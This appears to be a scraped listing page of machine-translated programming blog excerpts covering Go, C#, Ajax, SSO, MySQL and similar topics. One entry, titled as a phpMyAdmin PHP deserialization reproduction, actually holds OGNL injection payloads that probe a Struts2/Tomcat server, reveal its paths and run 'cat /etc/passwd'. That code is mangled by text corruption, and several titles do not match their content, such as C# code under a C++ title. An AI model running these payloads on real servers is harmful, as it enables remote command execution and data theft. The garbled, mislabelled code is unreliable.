• Why should crawler engineers have some basic back-end common sense?


    Today, in the fan exchange group, a classmate said he found itRequestsAnd fixed it: The corresponding pictures in the chat record are: Seeing the screenshot of this classmate, I probably know what problems he encountered and why he mistakenly thought it was a requests bug. To explain this problem, we need to understand one problem […]

  • Copy between go struct, map, slice, etc


    Original is not easy, please do not reprint without permission. When writing interfaces, we often encounter this situation. We need to convert a struct object into another struct object, but the two structs only have different struct names, but the attribute names are basically the same.For example, you need toUserObject conversionUserRespObject. Or you need to […]

  • Golang determines whether a field is included in struct


    Structure: type SystemUserDto struct { ID string ` JSON: “Id” ` // primary key SysN } type SysN struct { Loginname string ` JSON: “loginname” ` // login name Name string // user name } Method 1: tt:=SystemUserDto{ ID:”123″, SysN:SysN{ LoginName:”wzh”, }, } immutableV := reflect.ValueOf(&tt).Elem() fmt.Println(immutableV.FieldByName(“ID”)) fmt.Println(immutableV.FieldByName(“LoginName”)) fmt.Println(immutableV.FieldByName(“name”)!=reflect.Value{}) fmt.Println(immutableV.FieldByName(“name123”)!=reflect.Value{}) Output: 123 wzh true false […]

  • Ajax for web development


    Today, I will share with you the usefulness of Ajax technology in combination with several cases Let’s first understand what AJAX is Ajax: Technology of refreshing only partial pages The full name of AJAX is asynchronous JavaScript and XML AJAX is not a new programming language, but a new way to use existing standards AJAX […]

  • Idea creates a Java Web project (mainly idea 2022)


    Note: the following can only be done in idea professional edition catalogue Idea2022 (startup interface is as follows) Step 1: File – New – Project Step 2: create a new project – fill in the project name (self taken and not in Chinese) Step 3 right click the project – add framework support (English is.. […]

  • C # implements multithreading


    C # implements multithreading Processes that want to perform tasks need to rely on threads. In other words, the smallest execution unit in a process is a thread, and there is at least one thread in a process. Multithreading is divided into two types, one is serial and the other is parallel. serial Serial is […]

  • Personal java learning route (individual)


    The smallest sail can sail far As long as you can’t learn to die, learn to die What you see from the angle you should stand is the scenery Your fearlessness comes from ignorance (you feel so strong when you don’t learn a skill, but that’s how you feel after learning) Personally, I like watching […]

  • SSO single sign on


    There are three common ways of single sign on: 1.1. Single server mode Early single server, user authentication. (session broadcast mechanism: session replication) Disadvantages: single point performance pressure, unable to expand 1.2. SSO (single sign on) mode Distributed, SSO (single sign on) mode 1. After any module of the project logs in, put the data […]

  • phpmyadmin scripts/setup. Recurrence of PHP deserialization vulnerability


    First enter in the password field%{1+1} It is found that it resolves to 2, indicating that the vulnerability exists Enter% {“tomcatbindir {” + @ Java. Lang [email protected] (“user. Dir”) + “}”} get the Tomcat execution path Get web path %{ #[email protected]@getRequest(), #response=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(), #response.println(#req.getRealPath(‘/’)), #response.flush(), #response.close() } Execute cat / etc / passwd %{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{“cat”,”/etc/passwd”})).redirectErrorStream(true).start(), #b=#a.getInputStream(), […]

  • Introduction to golang generics


    What is generics First of all, what is generics? Generics is actually a very broad concept. Generics in this paper refers to generics in computer programming language, that is, functions, methods and class definitions in programming language are independent of specific type parameters. The instantiation of related functions, methods and classes is based on specific […]

  • [for school recruitment] sorting out MySQL knowledge points


    catalogue Basics Three paradigms of database InnoDB and MyISAM MySQL execute query process Indexes Index model Hash model Ordered array model Search tree model Binary tree models such as BST and AVL B-tree model B + tree Primary key index and non primary key index Back to table Index maintenance (page splitting and page merging) […]

  • Visual programming in C + +


    Familiar with simple C + + visual programming, written with Visual Studio software, the code is simple         Code snippet using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace WindowsFormsApp1 { public partial class Form1 : Form { public Form1() { InitializeComponent(); […]